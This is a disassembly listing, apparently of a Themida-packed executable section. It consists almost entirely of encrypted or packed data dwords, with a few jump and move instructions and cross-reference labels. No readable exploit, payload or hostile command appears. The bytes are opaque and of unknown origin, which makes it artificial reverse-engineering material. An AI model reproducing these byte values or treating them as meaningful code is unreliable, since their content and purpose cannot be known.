		dd 607F6347h, 0B93FCA4Bh, 51CC8E8h, 5E3FCA4Bh, 0DEBA4255h
		dd 4B0F16C2h, 5B683FCAh, 1613C42Ch, 0F8A8A545h,	2CC87854h
		dd 7269F4A3h, 0DB0AEED2h, 34DA4F80h, 0CF08F89Fh, 0B351CBE2h
		dd 80C4DB07h, 941DDA4Fh, 902C943Fh, 4F813D64h, 7A0D96DAh
		dd 834C3010h, 39AB8381h, 908066FBh, 4069142h, 0AFB62236h
		dd 0C6DA501Bh, 31FAFA0Ah, 2D934091h, 8B9D4AA5h,	9E4A56F1h
		dd 0DA4F8987h, 8000D3E0h, 0E2DEA953h, 0CC8BF6BEh, 79FD472Eh
		dd 51A86A0Eh, 9A27E249h, 64983A16h, 91EDC933h, 24CCBB41h
		dd 0D25542F9h, 6D878118h, 6F684191h, 2D962FD5h,	0DB02C7h
		dd 6703B353h, 9EDD36Dh,	0D25542DAh, 6CF99E33h, 5F1CD6Dh
		dd 0D25542DEh, 82BC1737h, 561AA982h, 0C8BDCA7Ah, 0FD9D6499h
		dd 182Ah, 6E126A00h, 0BF799061h, 30576C45h, 9A64Fh, 0C00D7100h
		dd 9EE9C242h, 656E127Eh, 0FC8B8DFh, 0DE658FF6h,	1BB450F4h
		dd 92ED6AA9h, 0F1DB7F41h, 0A42FD1FCh, 44C0C760h, 0A5888118h
		dd 7C290CF9h, 5F416084h, 99ACA5Dh, 0C3A709BAh, 0D9A3F40Eh
		dd 0D133D1FDh, 5EE201E5h, 663BCA5Dh, 133AF30Ah,	0B94B1E3Fh
		dd 1ACE269Dh, 0D403508Bh, 624F88E4h, 9A33D14Bh,	0BE02CB29h
		dd 5D400B1Ah, 484F64CAh, 62FE3E9Dh, 0A029CB71h,	40ADB420h
		dd 0BD06CA5Dh, 2421AECAh, 0ABDAD79Bh, 0C05F75AEh, 0F7A756Fh
		dd 0B707A91Ah, 0C462155Dh, 79197EFAh, 0C2AB5875h, 73ADEF8Ch
		dd 44FB4942h, 943FFD41h, 755EE6ECh, 1339834Bh, 0DE0EBB6h
		dd 3A16027Ah, 69F659Fh,	96AEC481h, 11ED073Dh, 0F0C53FC5h
		dd 3F59F6F5h, 938B931Bh, 0C6866E8h, 3707E27Bh, 1384BE13h
		dd 565AE8E5h, 59116A3Ah, 247F4BCh, 5DB2EFF6h, 0C7B48CAh
		dd 9E6B827Eh, 5DB32B3Ah, 0A42F84CAh, 3D98B460h,	6F649403h
		dd 56AE5682h, 66A467Dh,	59EBE4CDh, 37CD066Ah, 0AC8B450h
		dd 0EDE612F2h, 83B91957h, 0BA31AC81h, 0FB9F3B9Dh, 0B32C339Fh
		dd 3C85CA5Dh, 5DB3B5ACh, 64720ECAh, 388B24E0h, 0E353964Fh
		dd 34A04D87h, 0CA5DB32Dh, 1863D86h, 472FE8FFh, 0DD195C18h
		dd 78D4DCE7h, 95F5A25Ah, 0EB19B599h, 5FE5ED09h,	0E74D2374h
		dd 1C34E439h, 0F15DE694h, 0E975DE7h, 0F340F1C6h, 777A54A4h
		dd 0C760A45Eh, 3E98B4FCh, 3265EE06h, 5B74D8D8h,	52824BA9h
		dd 5AC9AAEEh, 23554253h, 678A44A9h, 0D6AF647Bh,	0DFF4BD5Fh
		dd 79378C25h, 50717B29h, 0B27B7983h, 0C8B1A122h, 0D6DE051Ch
		dd 7E555E5Fh, 0FFCF6B19h, 3017DBA2h, 0D5237422h, 936E36FBh
		dd 1C414637h, 95AEB543h, 67075FD6h, 9730D46Eh, 3519972Ch
		dd 756C5899h, 0CE5FD695h, 3BC9CE05h, 688CB61Fh,	41C37D8Ch
		dd 95727155h, 0F6CB5FD6h, 0CE7B5ED7h, 0FC5C641Ch, 0F049CB77h
		dd 607B6235h, 10CED0E0h, 6AA72AA5h, 4FF1DB1Dh, 0D4B3FBC3h
		dd 0BDBBF1C0h, 42334453h, 31000002h, 1B4AAE12h,	74CA5E24h
		dd 6E75615Fh, 0C7CA5E24h, 0E1758DFAh, 1FB44E89h, 0CAD9FDA1h
		dd 23CA5E23h, 9F7B098Eh, 0EEDA17BBh, 0CA5E23F7h, 47508350h
		dd 3A659E39h, 0EFEEFB6Ch, 5767497Ah, 0AB7B70B6h, 5AEAE45Fh
		dd 8C741E69h, 0DA62707Dh, 8B2F0BE9h, 5D623867h,	404091CAh
		dd 0C28B6993h, 62041BD5h, 0B01BCA5Dh, 4E8A768Eh, 76623EB6h
		dd 0CA5D626Fh, 5BD2FBC8h, 8E15D380h, 231CAB4Bh,	7D1595D8h
		dd 0CAE6DD25h, 6F182CA6h, 973F1B23h, 0D9BE876Dh, 29C02DA7h
		dd 0D4DCE4EFh, 5B49BD5h, 874232Bh, 0FD0CE1ECh, 0DCE8C143h
		dd 0AEA721Bh, 0A11FB42Fh, 3CA6E311h, 9A2AD11Ch,	2730D6E5h
		dd 0B24A3D2Eh, 0FAFA0AC6h, 0B351F3DEh, 0C737B231h, 3811F30Dh
		dd 1FAF4F8Bh, 0F292645Dh, 0A23B4CDFh, 901DB747h, 0AC14BF79h
		dd 0E538BA24h, 5D30E201h, 5E663BCAh, 6B1CB84Ah,	0AC3B1F1Fh
		dd 0F9D32572h, 0CC28D8F4h, 8CF0D003h, 1C43AF42h, 75CA5D9Eh
		dd 94F0972Ch, 0F50FC4A8h, 797856A2h, 0C87A535Ch, 84E8C8FBh
		dd 2FCDBA4Ah, 8F758F43h, 1BD96B63h, 62E2EE92h, 0EC18B6A2h
		dd 0D77477EEh, 93555D01h, 5C81742Fh, 281FB51Fh,	34023E40h
		dd 9F5F7A63h, 8930C35h,	4264C802h, 0BC4B2F91h, 0B9751582h
		dd 0EC083A95h, 0B93BC510h, 33F1E3F0h, 8628CC95h, 478F7116h
		dd 20C80DBEh, 0F4DF70A9h, 0A49B04CCh, 0E7EFB01Ah, 5DF1E4FBh
		dd 5F743DCAh, 0C2F5CC38h, 38BC4886h, 768EB61Ch,	68E504E1h
		dd 55811D23h, 0CA5DF24Eh, 0F06D1AA7h, 227949F9h, 0C36AAB6Ah
		dd 0C70FF196h, 0CA04EDEAh, 763A893Ah, 0AD47FDDAh, 17177324h
		dd 1D6AA433h, 0F551F2DBh, 170EBA59h, 70CA5DB8h,	417B7163h
		dd 15EF29C0h, 743C873Ch, 0C044FCD8h, 70E4A0E7h,	0CA5D356Eh
		dd 22C37C8Bh, 0C1831FC4h, 0CE80CB7h, 2C63EC6h, 87EB6883h
		dd 0F40EC3A7h, 0ABF928CCh, 8152CA5Dh, 0AC8C4F16h, 0A9D36A24h
		dd 0D1EF22C7h
		dd 5E07FE25h, 3D4A57CAh, 1971923Bh, 0B38EB267h,	4B311CA8h
		dd 0B3013D80h, 0A010A020h, 62E0F787h, 0D7D73364h, 5DA778C7h
		dd 1176BDA6h, 0D2AE120Bh, 2A03013Bh, 5E24A7BEh,	21B300CAh
		dd 394C9D13h, 206027D0h, 574E7AB7h, 0B0CA5D29h,	6C10B023h
		dd 8922E262h, 0B69A86FEh, 430CE81Ch, 294A597Dh,	0EA3CA5Dh
		dd 0A55E7789h, 62705083h, 0A49DEADAh, 3BB7D47h,	0CE22E04Ch
		dd 0FBD3FF05h, 7CFAB49h, 7F06F7FDh, 4BCEF5Ch, 0FFD56F68h
		dd 664568D0h, 44216696h, 0B77855A5h, 0DF093B93h, 0CA5D32C0h
		dd 333C8819h, 39694245h, 6C507063h, 0B93BC510h,	1DD908F0h
		dd 8E32CA5Eh, 5E1E3B6Ah, 943F94CAh, 0C3A78703h,	33FCF80Ah
		dd 236E8C64h, 0F8D3CA5Eh, 6D2AE46h, 8FFED5FEh, 5958BA1h
		dd 23CCBAFh, 0FD06E295h, 6A46FFFFh, 5E22677Eh, 0A4F3C0CAh
		dd 0AAFEDC70h, 969A182Dh, 0DFF927E1h, 8D3710F4h, 0B018690h
		dd 705083ECh, 45A5844Ch, 0FF391424h, 0F0972CD6h, 57BBAE88h
		dd 90535BD2h, 0FE5A6D07h, 0E1BD7D0Ah, 53B1537Dh, 0CE776E7Ah
		dd 0B0D0C263h, 4DE61E26h, 0BA74D76h, 0CE1C43AFh, 2C75C263h
		dd 7DB21D5Bh, 63CE4A59h, 2E35A1C2h, 87C263CEh, 982B783Ah
		dd 15983418h, 0E36C88BAh, 43EBA7F0h, 5A7EAB27h,	0C263CE4Bh
		dd 40C40FA4h, 0F5E02067h, 3627DEF8h, 450D5BF8h,	0D7D9EAD9h
		dd 62797DC7h, 4F388C7Eh, 0C4B909B5h, 122DCD62h,	458E6A1Dh
		dd 399D01BFh, 0C263532Ah, 0EEFE2F83h, 7ABF1E13h, 9AC63E49h
		dd 0FEB0903h, 0F2B73DC7h, 8763F0EBh, 37FAC7D7h,	0B032FCDFh
		dd 1BDBFEE7h, 4E328EB0h, 59857F85h, 8BFCC77Dh, 775B3FFFh
		dd 0C2640A68h, 59A7F0C1h, 0DF65717Eh, 79378C25h, 0AB2B115h
		dd 630BC264h, 9DEAD96Bh, 0F35733DFh, 4CD27D9h, 6409EDF4h
		dd 0F37D46C2h, 1CA2AE4h, 9C0E296h, 0F5DDC264h, 0EC9B54Fh
		dd 0A23B10F4h, 0EF910A47h, 9F827CBh, 8051C264h,	0AB8B4E17h
		dd 0F9FB05CFh, 79835030h, 93E5B27Bh, 28C70738h,	6A0A3C2Ch
		dd 0BD05A959h, 620E2BFDh, 0B5C3D433h, 63C951Ah,	20ABF3BDh
		dd 98A64D21h, 0A793F196h, 81A13C17h, 0B1D64C5Eh, 0C6FBFFD9h
		dd 0E975351h, 3C606073h, 63E18998h, 0C6D1E2C2h,	0CEFA96FAh
		dd 0C263E0D7h, 79835030h, 19B33D4Ah, 98CA5DE9h,	1337F70Bh
		dd 0A67F85BFh, 0B70FA9E1h, 3622E21Ch, 0BE876DA7h, 9E02BE15h
		dd 0A7F014C2h, 6D5DBDD1h, 8B223EC2h, 59E3EF91h,	0E3EC942Eh
		dd 324E7261h, 8CF89FA5h, 0FF01CCB0h, 1D5B2C05h,	6B953FB0h
		dd 0E1636D89h, 8A398A23h, 21884A26h, 4F388BB1h,	339FFBC3h
		dd 0B266562Ch, 3A788A43h, 56737256h, 0F7CCB266h, 10BDBBCCh
		dd 21B2CEF2h, 24106C1Bh, 1077B148h, 0F15C1268h,	0E2F2CE2Ch
		dd 2EA4EB3Dh, 7F55DE16h, 74FCEF88h, 6DFA858h, 8B3753E3h
		dd 37DB9394h, 17B2A2FFh, 9A183DD4h, 0BF77540Ah,	0B41F382Bh
		dd 0B73895E3h, 0D2EEE51Fh, 6103E602h, 0B3E46E2Ch, 0D9F35757h
		dd 9304CD27h, 0DBDA6B65h, 81BB52E5h, 83E5A753h,	0A08A993Dh
		dd 0CEE337DBh, 369FBB05h, 385FE80Ch, 1E27B0CCh,	2077EB4h
		dd 975D66F8h, 14F012BBh, 0BC53EAE8h, 6B39984h, 0AD2CC8FBh
		dd 5E98B534h, 0A42DF2C2h, 1AAA5A74h, 880F7EC5h,	223EFEDDh
		dd 60790B4h, 9717AA57h,	1D668h,	6E12A400h, 0BC469160h
		dd 3364ED07h, 39778D45h, 9E398615h, 0BC07A064h,	938D1C38h
		dd 6C944040h, 0FFCF6F1Bh, 0D5B80F43h, 0CCACDB61h, 0DD04F03Dh
		dd 36CA5D9Eh, 4AC566Dh,	9F253CA8h, 357ECA5Dh, 74BD1662h
		dd 5D9F5150h, 9C6AACAh,	0B5FBC8FBh, 81063C99h, 85512D11h
		dd 2BD1017Fh, 699700C9h, 432BD76Dh, 665E7A8Bh, 3EFA96E9h
		dd 0EDA32B95h, 2E682AE1h, 0BF4C537Fh, 1CA5CA5Dh, 0F309C9A7h
		dd 264AE6A4h, 74884A97h, 7B0CA55Fh, 25B2537Dh, 9F7440E8h
		dd 5A9596Ah, 0FC263DA9h, 327FCA5Dh, 88BA1365h, 228F4428h
		dd 0DF688CB0h, 503710F4h, 36A2FEC2h, 0CA5DFC2Fh, 2C4C3B88h
		dd 39688CA1h, 92CA5DFCh, 922E9241h, 5DFC3F66h, 7C0B98CAh
		dd 804E320Eh, 0E0A78084h, 0F60F36A0h, 5FDB4BC9h, 4E3167C8h
		dd 0E1F26000h, 0F306CEF2h, 1B2B7687h, 1642BACDh, 0F4388CB8h
		dd 78B9FB2Fh, 0D06C9445h, 37FEC000h, 0A3F4A1F0h, 0E8C87A55h
		dd 6C687584h, 0EC98FFD4h, 0C53FF910h, 0EC080299h, 222FAA3Bh
		dd 5C9C3FC6h, 9932D272h, 9742FCD7h, 798B4529h, 468E320Eh
		dd 433AB037h, 0B63A4DFEh, 0CA5D45AFh, 273EAA06h, 80CA5D45h
		dd 3A566433h, 5D45978Eh, 0F0E3F0CAh, 30A100D0h,	0A2675B18h
		dd 0FBE8BAADh, 6532A1E8h, 0C29E22A5h, 63C9910h,	0B31B37BDh
		dd 0E9DA7391h, 163AE69Eh, 699B36BBh, 294A2D5Ah,	6E000001h
		dd 0C63EC612h, 97A9AEDh, 6E4BE7B7h, 0BBE178F0h,	3A13F113h
		dd 52ECE789h, 0DCB7AB45h, 0FC8CA5Dh, 0EFE30FF5h, 0B42BAF55h
		dd 1CC01835h, 406E9740h, 3743F32Bh, 3710F4DFh, 0F3DA828Dh
		dd 366178C5h, 0F1CF2CAFh, 44C0428Dh, 0E2756C58h, 5CECA5Dh
		dd 0D2D3C9CEh, 172DA900h, 937F54DDh, 2A5623ABh,	1803BC93h
		dd 0C17A916Fh, 5056815Dh, 1FA132ECh, 2770923Bh,	2EA7C36Bh
		dd 3057F014h, 82668350h, 0CA5D5363h, 0D4DCE7BCh, 0E1ABF2CCh
		dd 0D7A2EC2h, 0DFF1C17Dh, 0F2C77822h, 903E3A4Dh, 4C704C74h
		dd 5D4F79A8h, 0F701D2CAh, 0CA5D4EE8h, 6B277041h, 122CA7C3h
		dd 522E59F2h, 9EA42D84h, 7DE1DD35h, 9AE6B153h, 34FC063Eh
		dd 0FC84BC18h, 0FAD331D3h, 8D626B8Dh, 10C2BE44h, 0B5D9D7ECh
		dd 4EF6EDD9h, 824FCA5Dh, 5D4F6F76h, 8CFBC8CAh, 1AD702FEh
		dd 5D4FB7AEh, 10C310CAh, 0FD07CCB0h, 1C40008Ah,	0F7088FB1h
		dd 20h,	5A7F8919h, 88BDE1E8h, 1DA7EC41h, 0E8AFD65Fh, 4AAE12B4h
		dd 0CA5E241Bh, 3FC10C74h, 96560394h, 0FAFA02D2h, 0B351F3DEh
		dd 10F40EC7h, 9C58E8E4h, 16EE16C0h, 9C58ECEAh, 0BE913C0h
		dd 0A65ED8EFh, 20E418BAh, 0E7895772h, 4C781h, 0EF830000h
		dd 243C3304h, 33243C31h, 535C243Ch, 0C381E389h,	4, 8704EB83h
		dd 895C241Ch, 89502404h, 405E0h, 0E8830000h, 24048704h
		dd 2414895Ch, 40DFBF57h, 0BD55708Eh, 9775431Eh,	15DE889h
		dd 0AB685FF8h, 89000011h, 4832424h, 515A0424h, 24348150h
		dd 1EB41C93h, 93F18159h, 891EB41Ch, 0FF59084Ah,	815A2434h
		dd 4C4h, 24048B00h, 81E18951h, 4C1h, 4C18300h, 5C240C87h
		dd 0F6EBEBE9h, 753C62FFh, 46543C33h, 17AC41D3h
		db 0E7h
; ---------------------------------------------------------------------------


loc_63AE01:				; CODE XREF: Themida_:00639EFCj
		mov	eax, 8039261h
		add	eax, ebp


loc_63AE08:				; CODE XREF: Themida_:loc_639EF7j
		mov	edx, ebx
		jmp	loc_63AE2E
; ---------------------------------------------------------------------------
		db 0F1h
		dd 697C96h, 6 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63AE2E:				; CODE XREF: Themida_:0063AE0Aj
		jmp	loc_63BACC
; ---------------------------------------------------------------------------
		db 0A3h
		dd 0FFFF132Dh, 95D929D3h, 0FAF60C06h, 0FEF23D9h, 0FFC53DC7h
		dd 0B3517DD7h, 8BB51F5Fh, 0A45E7777h, 0BD47926Eh, 9A3E8245h
		dd 0C25A918Bh, 0FA9682E4h, 5A90D7CEh, 0F4A330C2h, 8AC21220h
		dd 4EDA8560h, 804B2D5Ah, 359EA02Bh, 58E2EF8Bh, 0CDD4009Ch
		dd 26CA5D2Eh, 0A361269Dh, 0DEE61FB7h, 0D805A19Dh, 6AA4333Dh
		dd 0DEF35759h, 0D7177324h, 58E2EFFCh, 0C0139Ch,	0AED2725Ch
		dd 4AE32123h, 77D3BF3Dh, 5F3A45Eh, 5CD6E5CAh, 0FCC40F98h
		dd 5E2D34A0h, 3D86CA5Dh, 0CC6B24Ah, 0F0D4B8F8h,	0CA5D5DF1h
		dd 9AAA264Ah, 7E02D15Ah, 1EE6B153h, 876D9742h, 17DD676Bh
		dd 90BD1CA3h, 3F1EA65Ah, 0DD1E9248h, 93560F78h,	0F50FC7A3h
		dd 0C97B56A2h, 10A7C3E7h, 0A355DE16h, 0CA5D737Ch, 1C6F77E7h
		dd 0A41E4AD0h, 260A880Fh, 0E0B98D9Eh, 0E0A7B8F1h, 2B0E37A0h
		dd 1B199EC2h, 6AA586Bh,	905A7DBEh, 0F196C940h, 0E9E9C60Fh
		dd 70408053h, 4C38A5A1h, 0B74552DCh, 25ABD3DBh,	6A4A0488h
		dd 3CF1DB1Dh, 5E088998h, 2D1E2CAh, 0B31A2BEh, 0CD3760E9h
		dd 0E61E24B1h, 0CB29E3FAh, 4FFCDF06h, 1DDDE599h, 4DA9EED7h
		dd 3AB12C5Bh, 2AA40DCAh, 0CA7A561Ah, 493B7F9h, 310D7D0Ah
		dd 68D62FA1h, 0A9EE5548h, 0A4C37C57h, 0D65BA162h, 0DC804093h
		dd 0B74552F2h, 5E0E0913h, 0C111AFCAh, 6705600Ch, 0C5A0E745h
		dd 0DD72E326h, 2A460595h, 0D45D97ADh, 10634C3h,	38540000h
		dd 5DD0958Ch, 0B2E5EECAh, 5F6E12E2h, 0BC6B2E5h,	3A93B7F9h
		dd 0E1D57809h, 93405C88h, 55AFD871h, 5D2680A1h,	0D379BCAh
		dd 3CC60BE7h, 5E7D04B8h, 482418F1h, 6793718Bh, 9932D26Ch
		dd 69805D2Ah, 957BB7A6h, 68650905h, 0D0796DAh, 8FD7Ah
		dd 3F1B0000h, 0BE876D97h, 6E12C3D9h, 8C25DF65h,	30D5FDFBh
		dd 0A9BB5CA4h, 0B3A7B63Fh, 43F3FBC9h, 506C547Fh, 5D977DA4h
		dd 0BACDD6CAh, 89BC1642h, 7CE28479h, 238D36CAh,	409EF39Bh
		dd 0D8EC19F6h, 0A2C54AFEh, 87F5A279h, 0FB05CFABh, 0DD676C8Ch
		dd 0A45E77D3h, 44C0C760h, 0A430BD18h, 4CF589Ch,	48F8D400h
		dd 0EFEAFBACh, 74D88862h, 834CA858h, 0B2924914h, 490E0E22h
		dd 0F3D639EDh, 0ECFFD582h, 493760AFh, 6D746089h, 0C6CA5DC5h
		dd 86EAC6FDh, 0D3696A77h, 0F3FB9700h, 45FFD3D8h, 53F93BFh
		dd 9FBB05CEh, 62EB0933h, 0C9D9D535h, 65DC87F3h,	3064332Fh
		dd 1B4AAE12h, 74CA5E24h, 8E48385Fh, 24607F63h, 0E8B9CA5Eh
		dd 5D79D5DBh, 7824E0A7h, 3F511828h, 7017BE23h, 3A74290h
		dd 5D7DC0DFh, 608819CAh, 0CA5D7E41h, 3ABA099Ah,	7193B11Eh
		dd 38BC7685h, 0AE9B3E47h, 11F1E8FDh, 99C82CC5h,	0F2CA5D7Eh
		dd 8329FE1h, 507063ECh,	7E59886Ch, 44B0CA5Dh, 0CA5D7E1Dh
		dd 3C852D76h, 9BFFBF4Bh, 5D7E2837h, 673081CAh, 0A731BE19h
		dd 0B2CE579Dh, 50D91B21h, 0B5213D83h, 5BE1F18Fh, 0C8E4D02Ch
		dd 5D7E051Ch, 938D1CCAh, 3F5A22Fh, 44FB3BF4h, 69660208h
		dd 854F28A7h, 21B2A532h, 25DFF7E3h, 25DEF3DFh, 9660661Fh
		dd 7D774C7Eh, 0A7A447BEh, 0C00B6F4Fh, 9AEDC63Eh, 881828C3h
		dd 0EC6666FFh, 0CC26AE83h, 0F4030F40h, 7C5D3057h, 0AF0595DAh
		dd 164h, 1A49AD11h, 73CA5DD1h, 0D178A74Bh, 0D1CA5Dh, 12D0C4D3h
		dd 241B4AAEh, 5F74CA5Eh, 778E4838h, 0AEAB2626h,	0BE9DA94h
		dd 7D874B2Fh, 97E9AE77h, 4EF10700h, 6F5A8D56h, 0D5005C64h
		dd 9043FDD8h, 0B44C8874h, 3B4C7750h, 93B95C1h, 3AC40FEBh
		dd 6782FBBAh, 0CE053F97h, 0B55C641Ch, 99A3308Ah, 4E02D25Bh
		dd 26BFC87Dh, 169B33C3h, 0C73B88BCh, 0B84A83E7h, 0CC25B1CFh
		dd 2B040000h, 1C426185h, 69BCA5Eh, 7D57F3BDh, 8C28D4C3h
		dd 0CF07E2F0h, 7F99E35h, 3DF831CAh, 203FC811h, 0F9CA7260h
		dd 0B43993B7h, 92EEE51Fh, 31CBBC40h, 7C788A45h,	7DCA7360h
		dd 0EEEA687Fh, 0C0C14390h, 0C7D626C5h, 0B51EA74Dh, 55D6551h
		dd 6E95D6FEh, 96551077h, 0F933CAA6h, 206532FBh,	5953B41h
		dd 0E8B2h, 0A4CED600h, 0D2B99700h, 0AA6473FDh, 6E12B7DDh
		dd 0CAB6E163h, 0C62BA50Ch, 0A6CAF90Bh, 7A91A2Ah, 22C66B63h
		dd 0CA5E2403h, 0B7C475Ch, 67488571h, 0BE02D16Bh, 0F60E36A2h
		dd 0A6D22A5Dh, 0FCD81C28h, 0F9D232D2h, 7E536077h, 66F50FC4h
		dd 7E5FECEFh, 0B1ABEE2h, 64CA5E24h, 5E85714Fh, 0B7CA5E24h
		dd 29C09DEAh, 689A3519h, 50F5E11Fh, 1A647E8Dh, 0C5EBD88Eh
		dd 0A7E6FDE9h, 723FCA5Dh, 0A5C96525h, 0AB71162Ch, 0E2626E12h
		dd 0E20FC3B5h, 5E23EFF6h, 3ACA06CAh, 0D1F1BAh, 3D8531D3h
		dd 86160B05h, 4E88E853h, 0F527D1B6h, 9BCA5D85h,	0F208C9A5h
		dd 85FB2ACEh, 7F54CA5Dh, 0AE8E4D18h, 8BFC00D2h,	951BEB7Ah
		dd 0F5E1BD05h, 0CA5D91EEh, 7B37CD05h, 129E6126h, 2000000h
		dd 922B3A9Eh, 2F84CA5Dh, 3DE3FCA5h, 0F89F158Fh,	13BD224h
		dd 0E309BBFh, 0D22A5DF6h, 528CDEE6h, 0BFC00B5Fh, 132DA8D8h
		dd 90BF25ADh, 0FA648400h, 0CA03EF8Dh, 9A0BC38h,	0F271F50Fh
		dd 36F007F7h, 0CBAF4B8Dh, 0E6FDE906h, 3FCA5E22h, 0AF366172h
		dd 0CCB00C2Ch, 2C05FF01h, 5E23A5BCh, 0FD4F10CAh, 9C7B5AA6h
		dd 0FEFA8D16h, 4FF5E2EFh, 5B8D1DB5h, 0B47CE2DEh, 700CB41Fh
		dd 8C25DF59h, 0DF798FFBh, 4BCF7EDBh, 0D6E54F4Ch, 0C40F985Ch
		dd 87A910h, 0DEF52E7Fh,	96BBD2E2h, 0E4DE8296h, 19A905B3h
		dd 0FE64C9Dh, 32C6D18Eh, 0D2575FA4h, 169B3519h,	0E46D87BDh
		dd 0B69AA8EFh, 4984EC18h, 5F743DB7h, 0DCD5FD61h, 19B252F2h
		dd 731FDDAAh, 0C341FBD7h, 705B9DEAh, 0E4D80FCFh, 14C0DA15h
		dd 0C264050Dh, 5D665D66h, 0BA2B4B53h, 0D69F9018h, 15D61B1h
		dd 0FBD430EAh, 0E0616C8Ch, 0EBA3C8ECh, 8D492732h, 1FB47D77h
		dd 861539E5h, 6C75FB8Ch, 87C26423h, 482FB44Dh, 0F5A5034Eh
		dd 108E26DEh, 0EC81838Ah, 0A75973FDh, 7E5D884Dh, 56950CD1h
		dd 4DCFDEE6h, 60F279A2h, 0A029CB75h, 3A698D33h,	93C2635Ch
		dd 0AC27593Eh, 66922E92h, 0C2635C3Fh, 0D5CCF898h, 2EC2635Bh
		dd 0A9692EA5h, 0D3696905h, 7216F901h, 2275BCDBh, 0EA4AFBD6h
		dd 4845D52Bh, 0C45E8226h, 0AA0D5410h, 57079719h, 703DBC83h
		dd 0D4C03C4Bh, 43B268CCh, 6424809Fh, 0FCC8D9C2h, 0E1A67918h
		dd 0CBF7349Fh, 0C26345D4h, 0F7DCA42Dh, 0B51EA74Dh, 0DB656F0Bh
		dd 4A597D19h, 0A3C26346h, 0D7FBC50Eh, 0C26345C8h, 7D079021h
		dd 36CE7461h, 0FA768E4Ah, 5FE123D9h, 0FD4905E4h, 780E670h
		dd 661A9142h, 0A981D65Eh, 0EBD712C2h, 0C263DFF4h, 484F844Dh
		dd 62FE3E9Dh, 0B7C9CE76h, 0AA478F1Ch, 63E0273Eh, 0A03380C2h
		dd 0E4F18D33h, 0B70DA65Eh, 275F215Ah, 5EACDB55h, 1763E62h
		dd 0FF30A4BDh, 0A15B8A6Eh, 1FB4C263h, 6C49578h,	0B498026Fh
		dd 420BE91Bh, 345A255h,	0BE060000h, 0FF367423h,	775F2161h
		dd 12DABACDh, 7E8D646Eh, 5C6740C4h, 82880F98h, 27CFB4B8h
		dd 7088BEEEh, 0B83CC410h, 80DCE4EFh, 0C7415855h, 11AD8BFCh
		dd 0E6215C1h, 73FDF18Bh, 7DF3A45Eh, 0D25827B3h,	40C00C70h
		dd 9F436B57h, 0C2642180h, 0B5FBC8D9h, 57FAA6EDh, 0A4F31C2Fh
		dd 0DCD1FCD8h, 3B854EF6h, 246C735Fh, 0FCC5C264h, 1B3FFF8Bh
		dd 0D972928Ch, 0AA07D2AEh, 0C2E1052Ch, 1BC26423h, 2A863D86h
		dd 7B798B46h, 7B17E5B2h, 0A94BF5DFh, 0CE766020h, 0EEA9D36h
		dd 62E2EEC3h, 0F6BA09A2h, 24372E9Ah, 4390C264h,	1CCA854h
		dd 0C2D905FFh
		dd 0A938AC48h, 0FF862532h, 4C545CDCh, 158C2BFDh, 1BA10CB8h
		dd 97234110h, 3BC510F0h, 0B6AD1975h, 0FC263A0h,	7935D5C2h
		dd 0A84CC6D5h, 6FE06CCh, 1CF1962Dh, 26F014Dh, 71933B1Fh
		dd 0BA5926h, 0DC930000h, 99B5FB00h, 0C080073Dh,	5E23ED14h
		dd 0BC28844Ah, 4A5E24A5h, 0D8E2B5FEh, 1CA76178h, 0E51FB894h
		dd 8301861Fh, 0E41EB397h, 0BD298720h, 4A5E24A6h, 0BE5B2FFh
		dd 4A5E2414h, 669EA02Bh, 4BA9637Ah, 5B99A32Fh, 0DCCD9D2h
		dd 45299740h, 9D97268Bh, 9205CE26h, 8C3010CBh, 5E243968h
		dd 5641924Ah, 6490A834h, 4A5E243Dh, 57B10E96h, 0D6ACF24h
		dd 7A30DB6h, 0C9A4C4B7h, 98E4AA6h, 5E00506Fh, 0EBD7E7CAh
		dd 4206B0D6h, 2CF6B1Ch,	0BB7CF6BEh, 0A94D751Fh,	308C34DEh
		dd 5D4E9DC4h, 0DAADF6CAh, 1AE9Dh, 339FFB00h, 0CA5D4E2Ch
		dd 0A6BD2985h, 0FFCA5D4Eh, 0A67621B2h, 0E3616E12h, 0BFF8821h
		dd 43F9D92Dh, 0D5DBE8C1h, 24160DB9h, 896DCA5Eh,	0CA5E245Ah
		dd 0FA41EB3h, 78D4B888h, 7CF4A35Dh, 0D2583BBAh,	35CF0367h
		dd 0B191F6CFh, 0CB469221h, 3A89799Dh, 49C3DA76h, 76DAC63Eh
		dd 704CA85Ch, 63C95D84h, 0D6EDB6C2h, 0A704CFB1h, 57F0142Eh
		dd 0AC28446Ch, 656E9441h, 0D0CFF39Fh, 29C263C8h, 0AE5C2B98h
		dd 0E55F6E12h, 0A60BC6B2h, 0ED8C1E17h, 507D9CDFh, 8A88183h
		dd 640AC5DCh, 3E951EC2h, 52F2DE82h, 166E19B2h, 0FBD39A2Ah
		dd 5698041Eh, 4893C731h, 1BB4C263h, 4B430BE9h, 52B248C9h
		dd 42FAD898h, 0F9F0EDC2h, 8B869D49h, 0D2DFC263h, 1C40DC01h
		dd 63FA8DB7h, 594B888h,	3760E90Bh, 6D758E49h, 0E319BA48h
		dd 0E33C8821h, 0DEE2F182h, 0E7B05482h, 0ECE7832Bh, 7B3D4552h
		dd 8C933F5Bh, 0E5C263CBh, 0CB150CDCh, 656EC263h, 0A22E526Eh
		dd 6743F5A2h, 0B8ABF357h, 593E0238h, 67A7879Fh,	0FC00D0CAh
		dd 2D8273EFh, 0A5C9791Eh, 50D91B29h, 2A99A330h,	0AADB3E86h
		dd 0AF09FCEEh, 497BD767h, 890E2826h, 973B1FFBh,	0D9BE876Dh
		dd 0C1132CA7h, 3B101E62h, 91B31E62h, 0CBE27E42h, 0A2BE4651h
		dd 8F41034h, 3D232CAh, 0E6024F8Ah, 0B4867C5Fh, 0B78690A8h
		dd 8BBF9B7h, 0F808C4A8h, 710DB18Fh, 8C24E05Ah, 0E70B3E9Ch
		dd 178053C8h, 64214961h, 0CA2E92C2h, 0B25CFB9Bh, 0AB8DFF4h
		dd 0FB2342A6h, 277CB25Ch, 9C38149Ch, 8007A064h,	0BB522E12h
		dd 0DC061681h, 0EBB3FDFEh, 2BF7954Ah, 0D8E8AF9Ch, 5E74D8B4h
		dd 0E52342A6h, 277CCA5Dh, 78909860h, 75D9D261h,	0E4DEA95Bh
		dd 29CDF1CFh, 0C25A51FAh, 6B197E53h, 3BA7448Fh,	0C25A5224h
		dd 5270923Bh, 126E5281h, 0F0B93BC1h, 2743EBA7h,	0D55E9690h
		dd 0D61BB6C2h, 5A51F3F2h, 4C774CC2h, 6A675C64h,	40AB7136h
